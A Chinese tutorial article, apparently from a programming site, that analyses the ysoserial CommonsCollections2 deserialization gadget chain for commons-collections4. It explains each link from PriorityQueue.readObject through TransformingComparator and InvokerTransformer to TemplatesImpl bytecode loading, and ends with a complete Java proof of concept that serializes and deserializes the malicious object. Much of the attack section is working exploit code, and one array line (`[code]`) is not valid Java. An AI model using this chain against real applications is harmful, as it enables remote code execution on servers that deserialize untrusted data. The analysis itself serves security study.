Java安全 ysoserial CommonsCollections2示例分析

 更新时间:2022年11月04日 14:20:05   作者:功夫小熊猫  
这篇文章主要为大家介绍了Java安全 ysoserial CommonsCollections2示例分析,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪

正文

在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化。

已知的TemplatesImpl->newTransformer()是最终要执行的。

TemplatesImpl类动态加载方式的实现分析见ysoserial CommonsCollections3 分析中的一、二部分。

TemplatesImpl->newTransformer()的调用通过InvokerTransformer.transform()反射机制实现,这里可以看ysoserial CommonsCollections1 分析中的前半部分内容。

cc2 commons-collections4版本利用链

cc2是针对commons-collections4版本,利用链如下:

/*
	Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				...
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()
 */

InvokerTransformer.transform()利用

所以在InvokerTransformer.transform()之后的利用如下:

public class CC2Test2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field name = templates_cl.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"xxx");
        Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
        transletIndex.setAccessible(true);
        transletIndex.set(templates,0);
        byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
        byte[][] codes = [code];
        //给_bytecodes赋值
        Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,codes);
        //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
        //_tfactorys是TransformerFactoryImpl类型的
        TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
        Field tfactory = templates_cl.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,transformerFactory);
        InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
        transformer.transform(templates);
    }
}

InvokerTransformer.transform()的调用

TransformingComparator的compare,实现了对属性this.transformer的transform调用,这里可以通过TransformingComparator构造方法为该属性赋值。

public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
    private static final long serialVersionUID = 3456940356043606220L;
    private final Comparator<O> decorated;
    private final Transformer<? super I, ? extends O> transformer;
    public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
        this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
    }
    public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }
    public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }
}

通过compare的调用

InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
transformingComparator.compare(null,templates);

TransformingComparator.compare()的调用

PriorityQueue类中的readobject()调用了heapify(),heapify()中调用了siftDown(),siftDown()调用了siftDownUsingComparator(),siftDownUsingComparator()方法实现了comparator.compare()调用。

那么只要将transformingComparator对象赋值给comparator,可以通过反射,也可以通过构造方法,这里通过构造方法,且initialCapacity不能小于1。

public PriorityQueue(int initialCapacity,
                     Comparator<? super E> comparator) {
    // Note: This restriction of at least one is not actually needed,
    // but continues for 1.5 compatibility
    if (initialCapacity < 1)
        throw new IllegalArgumentException();
    this.queue = new Object[initialCapacity];
    this.comparator = comparator;
}

由于comparator.compare()中的参数来自queue,所以需要将templates赋值给queue。

InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(templates);

但是由于在priorityQueue.add()方法中会调用siftUp()->siftUpUsingComparator()->comparator.compare()。

priorityQueue.add()中带入的参数对象如果不存在newTransformer方法将报错,另外使用templates作为参数,又会导致在序列化过程构造恶意对象的时候得到执行。所以这里先用toString()方法代替,后通过反射方式修改this.iMethodName属性。

TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");

queue属性赋值

transient queue无法序列化,但在PriorityQueue的writeobject()、readobject中对queue做了重写,实现序列化和反序列化。

private void writeObject(java.io.ObjectOutputStream s)
        throws java.io.IOException {
    	//略
        for (int i = 0; i &lt; size; i++)
            s.writeObject(queue[i]);
    }
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
	//略
    for (int i = 0; i &lt; size; i++)
        queue[i] = s.readObject();
    heapify();
}

通过反射修改queues[0],利用如下:

TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue&lt;Object&gt; priorityQueue = new PriorityQueue&lt;Object&gt;(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
Object[] queues = (Object[]) queue.get(priorityQueue);
queues[0] = templates;
//这里得替换queues[0]
//如果queues[0]依旧保留使用Integer,会因为无法找到newTransformer报错。

最终完整利用实现

public class CC2Test2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field name = templates_cl.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"xxx");
        Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
        transletIndex.setAccessible(true);
        transletIndex.set(templates,0);
        byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
        byte[][] codes = [code];
        //给_bytecodes赋值
        Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,codes);
        //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
        //_tfactorys是TransformerFactoryImpl类型的
        TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
        Field tfactory = templates_cl.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,transformerFactory);
        InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
        TransformingComparator transformingComparator = new TransformingComparator(transformer);
        PriorityQueue&lt;Object&gt; priorityQueue = new PriorityQueue&lt;Object&gt;(2, transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
        iMethodName.setAccessible(true);
        iMethodName.set(transformer,"newTransformer");
        Field queue = priorityQueue.getClass().getDeclaredField("queue");
        queue.setAccessible(true);
        Object[] queues = (Object[]) queue.get(priorityQueue);
        queues[0] = templates;
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc2.ser"));
        objectOutputStream.writeObject(priorityQueue);
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc2.ser"));
        objectInputStream.readObject();
    }
}

以上就是Java安全 ysoserial CommonsCollections2示例分析的详细内容,更多关于Java ysoserial CommonsCollections的资料请关注脚本之家其它相关文章!

相关文章

  • java实现高效的枚举元素集合示例

    java实现高效的枚举元素集合示例

    Set是Java集合类的重要组成部分,它用来存储不能重复的对象。枚举类型也要求其枚举元素各不相同。看起来枚举类型和集合是很相似的。然而枚举类型中的元素不能随意的增加、删除,作为集合而言,枚举类型非常不实用。EnumSet是专门为enum实现的集合类,本实例将演示其用法
    2014-03-03
  • java对象转化成String类型的四种方法小结

    java对象转化成String类型的四种方法小结

    在java项目的实际开发和应用中,常常需要用到将对象转为String这一基本功能。本文就详细的介绍几种方法,感兴趣的可以了解一下
    2021-08-08
  • 浅析Java中clone()方法浅克隆与深度克隆

    浅析Java中clone()方法浅克隆与深度克隆

    Java克隆(Clone)是Java语言的特性之一,本篇文章主要介绍了Java中的Clone机制是如何工作的,需要的朋友可以参考下
    2017-04-04
  • MyBatis中的JdbcType映射使用详解

    MyBatis中的JdbcType映射使用详解

    这篇文章主要介绍了MyBatis中的JdbcType映射使用详解,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2020-11-11
  • JavaFX 监听窗口关闭事件实例详解

    JavaFX 监听窗口关闭事件实例详解

    这篇文章主要介绍了JavaFX 监听窗口关闭事件实例详解的相关资料,需要的朋友可以参考下
    2017-05-05
  • 在java List中进行模糊查询的实现方法

    在java List中进行模糊查询的实现方法

    下面小编就为大家带来一篇在java List中进行模糊查询的实现方法。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2016-11-11
  • Java介绍多线程计算阶乘实现方法

    Java介绍多线程计算阶乘实现方法

    这篇文章主要为大家详细介绍了Java多线程计算阶乘的实现,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2022-06-06
  • Java泛型模拟scala实现自定义ArrayList方式

    Java泛型模拟scala实现自定义ArrayList方式

    这篇文章主要介绍了Java泛型模拟scala实现自定义ArrayList方式,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教
    2021-10-10
  • java生成图片验证码功能

    java生成图片验证码功能

    最近在用ssm框架做一个管理系统,做到登录验证时,需要实现图片验证码功能,今天小编给大家分享基于java制作的图片验证码功能,感兴趣的朋友一起看看吧
    2019-12-12
  • druid ParserException类错误问题及解决

    druid ParserException类错误问题及解决

    这篇文章主要介绍了druid ParserException类错误问题及解决方案,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教
    2023-12-12

最新评论